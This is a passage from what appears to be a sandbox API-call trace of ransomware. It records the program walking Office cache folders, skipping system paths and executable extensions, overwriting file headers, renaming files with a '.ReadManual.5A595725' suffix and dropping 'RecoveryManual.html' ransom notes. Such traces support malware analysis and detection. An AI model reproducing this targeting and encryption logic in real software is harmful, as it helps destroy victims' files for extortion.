users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0185.884] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0185.884] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1457) returned 1 [0185.884] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b1, lpName=0x0) returned 0x198 [0185.885] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0185.885] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.885] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0185.887] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0185.887] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5b1) returned 0x2f0000 [0185.887] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0185.887] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=30655592944) returned 1 [0185.887] CloseHandle (hObject=0x198) returned 1 [0185.887] SetSecurityInfo () returned 0x57 [0185.887] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0185.887] CloseHandle (hObject=0x194) returned 1 [0185.888] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0185.888] FindClose (in: hFindFile=0x668128 | out: hFindFile=0x668128) returned 1 [0185.888] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0185.888] lstrcpyW (in: lpString1=0x69b922, lpString2="Proof.fr" | out: lpString1="Proof.fr") returned="Proof.fr" [0185.888] lstrcatW (in: lpString1="Proof.fr", lpString2="\\" | out: lpString1="Proof.fr\\") returned="Proof.fr\\" [0185.888] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch=":\\Windows\\") returned 0x0 [0185.888] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0185.888] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0185.888] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch=":\\WINNT") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch=":\\Windows.old\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch=":\\PerfLog\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\WindowsApps\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\Windows Defender\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\microsoft shared\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\Tor Browser\\") returned 0x0 [0185.889] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0185.889] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\") returned 76 [0185.889] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x668128 [0185.890] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\" [0185.890] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.890] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0185.890] lstrcpyW (in: lpString1=0x6ab934, lpString2="Proof.cab" | out: lpString1="Proof.cab") returned="Proof.cab" [0185.890] lstrcmpiW (lpString1="Proof.cab", lpString2="RecoveryManual.html") returned -1 [0185.890] StrStrIW (lpFirst="Proof.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0185.890] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0185.890] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0185.890] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0185.890] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0185.890] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0185.890] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0185.890] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0185.890] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0185.890] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0185.890] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0185.890] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0185.890] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0185.890] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0185.890] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0185.890] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" [0185.890] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.ReadManual.5A595725" [0185.890] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.ReadManual.5A595725") returned 105 [0185.890] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=30655917991) returned 1 [0185.890] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0185.891] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0185.891] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21064532) returned 1 [0185.891] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1416b54, lpName=0x0) returned 0x198 [0185.891] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0185.891] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.891] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0185.893] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0185.893] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1416b54) returned 0x4350000 [0186.609] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0186.655] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=30732375791) returned 1 [0186.655] CloseHandle (hObject=0x198) returned 1 [0186.655] SetSecurityInfo () returned 0x57 [0186.655] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0186.655] CloseHandle (hObject=0x194) returned 1 [0187.433] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\" [0187.433] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\RecoveryManual.html" [0187.433] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0187.437] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0187.438] CloseHandle (hObject=0x194) returned 1 [0187.438] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0187.438] lstrcpyW (in: lpString1=0x6ab934, lpString2="Proof.msi" | out: lpString1="Proof.msi") returned="Proof.msi" [0187.438] lstrcmpiW (lpString1="Proof.msi", lpString2="RecoveryManual.html") returned -1 [0187.438] StrStrIW (lpFirst="Proof.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0187.438] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0187.438] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0187.438] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0187.439] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0187.439] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0187.439] lstrcpyW (in: lpString1=0x6ab934, lpString2="Proof.xml" | out: lpString1="Proof.xml") returned="Proof.xml" [0187.439] lstrcmpiW (lpString1="Proof.xml", lpString2="RecoveryManual.html") returned -1 [0187.439] StrStrIW (lpFirst="Proof.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0187.439] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0187.439] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0187.439] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0187.439] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0187.439] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0187.439] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0187.439] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0187.439] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0187.439] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0187.439] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0187.439] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0187.439] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0187.439] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0187.439] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0187.439] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" [0187.439] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.ReadManual.5A595725" [0187.439] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.ReadManual.5A595725") returned 105 [0187.439] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=30810792410) returned 1 [0187.439] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0187.440] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0187.440] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1458) returned 1 [0187.440] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b2, lpName=0x0) returned 0x198 [0187.440] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0187.441] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.441] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0187.442] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0187.442] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5b2) returned 0x2f0000 [0187.443] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0187.443] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=30811150621) returned 1 [0187.443] CloseHandle (hObject=0x198) returned 1 [0187.443] SetSecurityInfo () returned 0x57 [0187.444] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0187.444] CloseHandle (hObject=0x194) returned 1 [0187.444] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0187.444] FindClose (in: hFindFile=0x668128 | out: hFindFile=0x668128) returned 1 [0187.445] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0187.445] lstrcpyW (in: lpString1=0x6ab922, lpString2="Proofing.msi" | out: lpString1="Proofing.msi") returned="Proofing.msi" [0187.445] lstrcmpiW (lpString1="Proofing.msi", lpString2="RecoveryManual.html") returned -1 [0187.445] StrStrIW (lpFirst="Proofing.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0187.445] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0187.445] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0187.445] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0187.445] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0187.445] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\" [0187.445] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0187.445] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0187.445] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0187.446] CloseHandle (hObject=0x190) returned 1 [0187.446] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, 